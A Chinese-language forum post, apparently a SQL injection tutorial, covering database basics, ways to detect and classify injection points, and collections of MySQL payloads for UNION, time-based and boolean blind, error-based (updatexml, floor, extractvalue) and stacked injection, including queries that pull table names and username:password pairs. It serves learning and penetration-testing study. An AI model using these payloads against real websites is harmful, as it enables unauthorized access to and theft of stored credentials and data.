標題:SQL注入相關

taibeihacker

Moderator

1 数据库相关​

1.1 定义​

數據庫是一個存儲數據的倉庫,
以一定方式存儲在一起、能與多個用戶共享、具有盡可能小的冗餘度,與應用程序彼此獨立的數據集合

1.2 分类​

关系型数据库 - SQL類似表格,表與表之前存在復雜的關係
MySQL、SQLServer 等
非关系型数据库 - NoSQLKey - Value 形式,簡化數據庫結構、避免冗餘。
MangoDB、Redis、memcached

1.3 基本操作​

查看数据库1
show databases();
使用数据库1
use information_schema
查看当前使用数据库1
select database();
查看数据表1
show tables();
查看数据库版本1
select version();
使用当前数据库的用户1
select user();
查看数据库路径1
select @@datadir
查看安装路径1
select @@basedir
查看系统类型1
select @@version_compile_os

1.4 元数据表 - information_schema​

information_schema是信息數據庫其中保存著關於MySQL 服務器所維護的所有其他數據庫的信息。如數據庫名,數據庫的表,表的數據類型與訪問權限等。對於Web 滲透過程中用途很大
SCHEMATA表:提供了當前MySQL 實例中所有數據庫的信息。是show databases 的結果取之此表。
TABLES表:提供了關於數據庫中的表的信息(包括視圖)。
COLUMNS表:提供了表中的列信息。詳細表述了某張表的所有列以及每個列的信息。
通过元数据表查询数据表1
select table_name from information_schema.tables where table_schema='test';
通过元数据表查询数据列1
select column_name from information_schema.columns where table_name='table1';

2 SQL 注入定义及类型​

2.1 定义​

發生於應用程序與數據庫層的安全漏洞
網站內部直接發送的SQL 請求一般不會有危險,但實際情況是很多時候需要結合用戶的輸入數據動態構造SQL 語句,如果用輸入的數據被構造成惡意SQL 代碼,Web 應用又未對動態構造的SQL 語句使用的參數進行審查,則會帶來安全風險。
形成原因用戶能夠控制傳參
SQL 語句中拼接了用戶傳參的內容
拼接後的SQL 語句在數據庫中執行
總結:用戶輸入的數據作為代碼執行

2.2 分类​

布爾型注入
聯合查詢注入
時間型注入
報錯型注入
堆疊注入(多語句查詢注入)

3 判断 SQL 注入​

問題
判斷該訪問目標URL 是否存在SQL 注入?
如果存在SQL 注入,那麼屬於哪種SQL 注入?
判斷SQL 注入後端數據庫的類型?

3.1 经典的单引号判断法​

如果頁面返回錯誤,則存在SQL 注入;原因是無論字符型還是整型都會因為單引號個數不匹配而報錯。

3.2 判断注入类型​

数字型通常構造and 1=1 以及and 1=2 來判斷
运算符判断法:這種判斷方法的關鍵在於通過加、減、乘、除等運算,判斷輸入參數附近有沒有引號包裹,再通過一些通用的攻擊手段,獲取數據庫的敏感信息。
字符型通常構造and '1'='1 以及and '1'='2 來判斷
类型转换判断法:在MySQL 中,等號兩邊如果類型不一致,則會發生強制轉換。當數字與字符串數據比較時,字符串將被轉換為數字,再進行比較。字符串1 與數字相等;字符串1a 被強制轉換成1,與1 相等;字符串a 被強制轉換成0 所以與0 相等。
20210108155925.png-water_print

按照這個特性,我們容易判斷輸入點是否為字符型,也就是是否有引號(可能是單引號也可能是雙引號,絕大多數情況下是單引號)包裹。訪問?id=3-2,頁面為空,不是數字型,可能是字符型。繼續嘗試訪問?id=2a,成功返回結果,說明是字符型。

3.3 SQL 数据库的类型​

3.3.1 通过报错信息​

MySQL
you have an error in your SQL syntax,check the manual that corrsponds to your mysql server version for the tifht syntax to use near ” at line x
Access
Microsoft JET Database…
MSSQL
Microsoft ODBC Database…

3.3.2 数据库标志性信息​

sql server:select @@version--
Oracle:select banner from v$version
mysql:select @@version,version()-- ,length(user)0正常
postgresql:select version()--

3.3.3 数据库特有库名​

MySQL:information_schema
Access:mysysobjects
Oracle:sys.user_tables
MSSQL:sysobjects

3.3.4 数据库特有函数​

sql server:@@pack_received @@rowcount
mysql:connection_id()、last_insert_id()、row_count()
orcale:bitand(1,1)
postgresql: select extract(dow from now())
在mssql 中可以調用substring。 oracle 則只可調用substr

3.3.5 字符串处理方式​

mssql:id=1 and 'a'+'b'='ab'
mysql:id=1 and 'a'+'b'='ab' , 'ab'=concat('a','b')
oracle:id=1 and 'a'+'b'='a'||'b' ,'ab'=concat('a','b')
postgresql:id=1 and 'a'+'b'='a'||'b' ,'ab'=concat('a','b')

3.3.6 特殊符号及注释​

null 和%00 是access 支持的註釋
# 是MySQL 中的註釋符,返回錯誤說明該注入點可能不是MySQL,另外也支持-- ,和/* */註釋
-- 和/* */是Oracle,SQL server 和MySQL 支持的註釋符,如果正常,說明可能就是這三個數據庫其中之一。
; 是子句查詢標識符,在Oracle 中不支持多行查詢,返回錯誤,很可能是Oracle 數據庫。

4 UNION 联合查询注入​

4.1 原理​

union 操作符用於合併兩個查詢或者多個select 語句的結果集
資訊
UNION 內部的select 語句必須有相同數量的列。
通過UNION 聯合查詢,直接將查詢的結果返回給頁面,是最簡單的一種注入方式。

4.2 常用语句​

1
2
3
4
5
6
7
8
9
10
11
12
13
//庫名
union select 1,group_concat(schema_name),3 from information_schema.schemata
union select 1,(select schema_name from information_schema.schemata limit 0,1),3
//表名
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'
//列名
union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='emails'
//數據
union select 1,group_concat(id,email_id),3 from security.emails

5 时间型盲注 布尔型盲注​

盲注是注入的一種,指的是在不知道數據庫返回值的情況下對數據中的內容進行猜測,實施SQL 注入。盲註一般分為布爾盲注和基於時間的盲注和報錯的盲注。
时间型:通過注入特定語句,根據頁面請求的物理反饋,來判斷是否注入成功,如:在SQL 語句中使用sleep() 函數看加載網頁的時間來判斷注入點。
布尔型:頁面只返回True 和False 兩種狀態(類型)頁面。利用頁面返回不同,逐個猜解數據。
適用場景:通常無法從顯示頁面上獲取執行結果,甚至連注入語句是否執行都無從得知。

5.1 原理示意​

select * from user where id='?'
? 為用戶輸入,替代為:4' and sleep(3)#
實際執行的SQL 語句:select * from user where id='4' and sleep(3)#
當ID=4 存在時,sleep 3 秒
當ID=4 不存在時,直接返回
整條拼接出來的SQL 是正確的就執行sleep,前面錯誤(不存在),sleep(3) 不執行

5.2 常用函数​

5.2.1 编码转换函数​

ord('a'):將字符轉化為ascii 碼
ascii('a'):將字符轉化為ascii 碼
char(97):將ascii 轉化為字符

5.2.2 条件判断函数​

if(exp1, exp2, exp3):exp1 成立,執行exp2,否則執行exp3。
case when then 函數:select case when username='admin' then sleep(1) else 'error' end from wp_user_

5.2.3 截取函数​

substr 函数substr(str, pos, len):從pos 位置開始,截取字符串str 的len 長度
substr(str from pos for length) :可以用在過濾了, 的情況
substring 函数substring(str, pos, len):從pos 位置開始,截取字符串str 的len 長度
substring(str from pos for length) :可以用在過濾了, 的情況
注意:pos 從1 開始
1
2
3
id=1 and if(ord(substr(database(),1,1))=116,1,0)%23
select substring(database(), from 1 for 1)
select substring(database(), 0, 1)
mid 函数mid(str, pos, length)
mid(str from pos for length)
1
2
select mid(database(), from 1 for 1)
select mid(database(), 1, 1)
left 函数從左開始截取字符串
left(str, len)
1
select left(database(), 1)
right 函数從右開始截取字符串
right(str, len)
利用正则表达式逐位匹配1
2
3
4
select * from wp_user_ where password rlike '^1'
select * from wp_user_ where password REGEXP '^1'
select * from wp_user_ where password REGEXP '^12'
.

5.2.4 延时函数​

sleep(n):程序掛起n 秒
1
if(ascii(substr(database() from 0))=97, sleep(3),0)
benchmark(count, sha(1)):執行sha(1) 函數count 次達到延時的目的
1
SELECT BENCHMARK(10000000, sha(1))
利用笛卡爾積製造延時:
1
SELECT count(*) from information_schema.columns A, information_schema.columns B, information_schema.tables C;
利用正則表達式匹配長字符串製造延時:
1
select * from wp_user_ where id=1 and IF(1,concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999 ,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',0)

5.2.5 其它函数​

count():計算總數
length():返回字符串的長度

6 报错型注入​

6.1 原理​

用於使用SQL 語句報錯的語法,用於注入結果無回顯,但顯示錯誤信息有輸出的情況
返回的信息即是攻擊者需要的信息
MySQL 報錯注入主要分為以下幾類:
BigInt 等數據類型溢出
Xpath 語法錯誤
count() + rand() + group by 導致主鍵重複
空間數據類型函數錯誤

6.2 常用函数​

6.2.1 updatexml​

updatexml 第二個參數需要傳入的是Xpath 格式的字符串。輸入不符合,將參數值返回並報錯。
報錯長度最大為32 位
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//顯示當前數據庫
updatexml(1,CONCAT(0x7e, database()),1)
//顯示所有數據庫
updatexml(1,CONCAT(0x7e,(select schema_name FROM INFORMATION_SCHEMA.SCHEMATA limit x,1),0x7e),1)
//獲取表名
updatexml(1,CONCAT(0x7e,(select table_name from information_schema.tables where table_schema='sectest' limit x,1),0x7e),1)
updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)
//獲取列名
updatexml(1,CONCAT(0x7e,(select column_name from information_schema.COLUMNS where table_name='wp_user_' limit 1,1),0x7e),1)
updatexml(1,make_set(3,'~',(select group_concat(column_name) from information_schema.columns where table_name='users')),1)
//獲取數據
updatexml(1,CONCAT(0x7e,(select username from wp_user_ limit 0,1),0x7e),1)
updatexml(1,CONCAT(0x7e,(select password from wp_user_ where username='admin' limit 0,1),0x7e),1)
updatexml(1,CONCAT(0x7e,(select GROUP_CONCAT(username,0x3a, password) from wp_user_ where id=1),0x7e),1)
updatexml(1,make_set(3,'~',(select data from users)),1)#

6.2.2 floor 显错注入​

1
2
3
and (select 1 from (select count(*), concat(user(), floor(rand(0)*2))x from information_schema.tables group by x)a)
and (select 1 from (select count(*), concat((select group_concat(username,0x3a,password) from wp_user_ where id=1), floor(rand(0)*2))x from information_schema.tables group by x)a)

6.2.3 其它显错注入​

1
2
3
4
5
6
7
and extractvalue(1,concat(0x7e,(select database())))
//1105 - XPATH syntax error: '~sectest', Time: 0.000000s
and exp(~(select * from (select user())a)) //mysql5
union select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))a;
//1060 - Duplicate column name '5.7.23', Time: 0.000000s

6.3 Demo​

payload1
2
3
4
updatexml(1,concat(0x7e,(version())),0)
$sql=' select * from users where username='' and updatexml /*' and password='*/(1,concat(0x7e,(version())),0) or '1' '

7 堆叠注入​

一堆SQL 語句(多條)一起執行
在MySQL 中,主要是命令行中,每條語句結尾加; 表示語句結束。這樣可以考慮多條SQL 語句一起使用
問題
堆疊注入和UNION 注入的差別是?
UNION 執行的語句類型是有限的,只可以用來執行查詢語句
而堆疊注入可以執行任意語句
注意
 
返回
上方